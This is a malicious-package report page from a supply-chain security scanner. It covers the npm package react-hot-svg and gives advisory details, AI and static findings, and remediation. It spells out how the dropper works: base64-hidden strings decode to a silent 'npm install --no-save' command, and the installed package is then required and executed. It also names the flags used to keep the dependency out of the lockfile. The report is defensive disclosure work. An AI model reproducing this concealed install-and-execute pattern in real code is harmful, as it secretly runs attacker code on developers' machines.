react-hot-svg
This report shows the evidence for react-hot-svg@1.1.5. 4 of 4 known versions are blocked or flagged. The newest version, 1.1.8, is blocked. See all versions.
OpenSSF/OSV Malicious Advisory
imported 3mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-10439 confirms this npm version as malicious.
Advisory
MAL-2026-10439
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in react-hot-svg (npm)
Details
index.js in react-hot-svg 1.1.4 hides both a shell command and a package name as base64 strings named `svgValidateKey` and `svgValidatePattern`. When any of the exported API surface (`getPlugin`, `setPlugin`, `validateSvgContent`) is invoked, the code decodes `svgValidateKey` via `atob` to the string `npm install rollup-plugin-polyfill-handler --no-save --silent --no-audit --no-fund`, spawns it via `child_process.spawn` with `stdio: 'ignore'`, and on process exit `require()`s the base64-decoded module name `rollup-plugin-polyfill-handler` and immediately invokes its `.getPlugin()()` function. The `--no-save --silent --no-audit --no-fund` flags suppress output and prevent the added dependency from appearing in package.json or the lockfile. The obfuscation of both the command and the required module name, the SVG-themed cover identifiers, and the pattern of installing-then-requiring-then-executing an undeclared external package match a dropper that lands and executes attacker-controlled code from a separate npm package on any consumer who uses this library's advertised API.
References
Independent LPM AI assessment
SuspiciousIndependent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.
Source inspection confirms concealed user-triggered remote payload installation and execution, not a benign SVG workflow. It is not install-time, but it is an unresolved staged-payload execution risk that warrants a warning.
Static reason
No blocking static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Caller invokes getPlugin() or setPlugin() on a directory containing an SVG file.
Impact
Installs and executes a remote third-party payload in the caller environment; the payload is outside this package and not source-verifiable here.
Mechanism
Obfuscated npm install followed by dynamic require and plugin invocation.
AI rationale
Source inspection confirms concealed user-triggered remote payload installation and execution, not a benign SVG workflow. It is not install-time, but it is an unresolved staged-payload execution risk that warrants a warning.
Evidence
index.jspackage.jsonREADME.mdindex.d.ts
Network endpoints1
registry.npmjs.org
Independent scan evidence
public snapshotAI called this Suspicious at 96.0% confidence as Dangerous Capability with low false-positive risk.
Evidence for AI warning decision
- index.js:209 base64 decodes to a silent npm install command.
- index.js:255-295 spawns npm then dynamically requires the installed package.
- index.js:230-250 triggers hidden install while validating user-selected SVG files.
- index.js:343-381 duplicates the concealed install-and-execute flow.
Evidence against
- package.json has no preinstall, install, postinstall, or prepare hook.
- The hidden flow is reached only through exported getPlugin/setPlugin calls.
- No credential harvesting, file writes, or direct exfiltration appear in package source.
Behavioral surface
ChildProcessDynamicRequireFilesystemNetwork
HighEntropyStrings
Source & flagged code
3 flagged · loading sourceindex.jsView file
•matchType = normalized_sha256
matchedPackage = react-hot-svg@1.1.4
matchedPath = index.js
matchedIdentity = npm:cmVhY3QtaG90LXN2Zw:1.1.4
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
index.jsView on unpkg•matchType = malicious_source_fingerprint_signature
signature = 289d11d48b3841df
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = react-hot-svg@1.1.4
matchedPath = index.js
matchedIdentity = npm:cmVhY3QtaG90LXN2Zw:1.1.4
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
High
Known Malware Source Fingerprint Signature
Source fingerprint signature matches a known malicious package signature; route for source-aware review.
index.jsView on unpkg17// Node built-ins for filesystem access and path manipulation.
L18: const fs = require('fs');
L19: const path = require('path');
Medium
Dynamic Require
Package source references dynamic require/import behavior.
index.jsView on unpkg · L17Findings
2 High2 Medium3 Low
HighKnown Malware Source Similarityindex.js
HighKnown Malware Source Fingerprint Signatureindex.js
MediumDynamic Requireindex.js
MediumNetwork
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
Affected versions and remediation
This report applies to react-hot-svg@1.1.5.
The versions list below shows the verdict for each recorded version.
- Avoid installing react-hot-svg@1.1.5. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.